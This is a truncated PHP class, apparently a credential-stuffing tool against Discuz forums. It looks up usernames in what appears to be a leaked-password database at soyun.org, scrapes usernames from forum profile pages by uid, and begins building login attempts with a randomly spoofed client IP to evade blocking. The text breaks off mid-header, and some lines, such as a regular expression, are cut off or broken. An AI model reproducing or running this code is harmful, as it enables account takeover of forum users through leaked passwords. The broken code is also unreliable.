class fuckdz{
public function sgk($user){
$a=file_get_contents("http://www.soyun.org/cha_api.php?so=$user&auto=");
$a=iconv("UTF-8", "GB2312//IGNORE", $a);
preg_match_all("/7%\">(.*)
unset($arr[0]);
foreach ($arr as $key=>$r){
return $r;
}
}
public function getuid($host,$uid){
$a=file_get_contents("$host/home.php?mod=space&do=profile&from=space&&uid=$uid");
if(!strpos($a,"charset=gbk")){
$a=iconv("UTF-8", "GB2312//IGNORE", $a);
}
preg_match("/
(.*)的/isU",$a,$arr);$a=str_replace("\r","",trim($arr[1]));
return $a=str_replace("\n","",$a);
}
public function is_pass($host,$user,$pass){
$ip= rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244).'.'.rand(100, 244);
$opts = array (
'http' => array (
'method' => 'GET',
'header'=> "User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile\r\nReferer:http://www.baidu.com/index.php\r\nX-Forw